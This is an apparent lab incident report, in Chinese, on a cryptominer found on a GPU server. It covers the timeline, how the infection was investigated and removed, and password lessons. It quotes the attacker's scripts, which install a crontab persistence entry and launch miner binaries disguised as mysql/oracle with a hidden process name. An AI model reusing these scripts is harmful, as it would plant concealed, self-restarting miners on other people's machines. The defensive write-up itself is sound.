实验室服务器遭挖矿病毒攻击报告

时间节点

- 19：39，梓帆反馈服务器上的gpu跑满，但是显存的占用量很低，开始查问题。
- 21：56，查到了一直在写日志文件的异常进程
- 22：03，确认是挖矿病毒，简单理解了作用原理后，阻止计时器脚本运行，服务器算力资源恢复正常。
- 23：53，整理备份现场文件，删除病毒，移除注册表，完成处理

重要结论

上周root密码连续两天失效，现在看来可能那时候就被攻击了。

现在已经修改了root密码。我们的root密码曾经是1，这样太危险了。可以通过脚本扫描学校局域网的端口，很容易就破解权限。

应该要注意管理好实验室的服务器密码。

```
1.root密码只有少数人掌握，用复杂的密码，并且定时改。
2.正常服务器使用需求，用 sudo 代替 su root
3.非root用户也不能使用简单密码，应该排查设置新密码
```

查证问题过程

一开始以为是一些奇奇怪怪的环境配置问题，还让梓帆背了几分钟的锅。把锅推到vscode身上。但其实一直觉得不合理，vscode连接没有那么大的威力，而且进程是会自动拉起的。于是想到要定位进程创建的位置。

- 进程的位置是 /proc/进程id/
- 进入这个位置后执行ls -al 查看所有文件
- 发现创建位置是/usr/lib/python3.9,这个位置相当有迷惑性

再次grep 进程id，发现进程描述很奇怪，该进程执行的同时也在写入一个文件，到进程创建目录下，果然发现了这个文件，并且这个文件在持续增大，引起警惕，这样不管下去，gpu用不了。硬盘也会被写爆，于是开始怀疑是恶意的服务器攻击了。

开始tail生成出来的日志，发现是一款挖矿软件的日志。 因为这个程序会被自动拉起，所以查了下linux定时器，确实发现了脚本，脚本就是这个 **nano.backup** 这时是十点钟了，于是先修改nano.backup的名字，让定时器无法把挖矿程序启动起来，让梓帆可以去干活。

```
(base) root@ubd504-System-Product-Name:/usr/lib# crontab -l
* * * * * /usr/lib/python3.9/nano.backup >/dev/null 2>&1
(base) root@ubd504-System-Product-Name:/usr/lib#
```

接着翻看脚本触发位置的其他几个脚本，大概捋清了脉络，原来攻击者使用 admin脚本开始攻击。

```
#!/bin/sh
pwd > new.dir
dir=$(cat new.dir)
echo "* * * * * $dir/nano.backup >/dev/null 2>&1" > cron.d
crontab cron.d
crontab -l | grep nano.backup
echo "#!/bin/sh
if test -r $dir/doos.pid; then
pid=\$(cat $dir/doos.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd $dir
./root.sh &>/dev/null" > nano.backup
chmod u+x nano.backup
./root.sh
```

这个脚本设定了定时器脚本cron.d，并且执行了这个脚本 然后执行 `root.sh` 定时器脚本也是一直执行`root.sh`

```
#!/bin/bash
ARCH=`uname -m`
HIDE="python"
hostname=`hostname`
if [ "$ARCH" == "i686" ];       then
        ./oracle -s $HIDE ./python -logfile 1 >>/dev/null &
elif [ "$ARCH" == "x86_64" ];   then
        ./mysql -s $HIDE ./python -logfile 1 >>/dev/null &

fi
echo $! > doos.pid

```

中根据机器的架构运行mysql软件（这个就是木马，实际上是挖矿程序，不是数据库）

处理

知道了前因后果，原来这整个python3.9这个目录下的东西，都是木马脚本。删除整个文件夹，取消crontab注册的定时器，事情解决完毕。

这件事情告诉我们，对实验室的服务器没有合理的管理办法，比如把root权限密码设为1，造成损失并不是天方夜谭的事。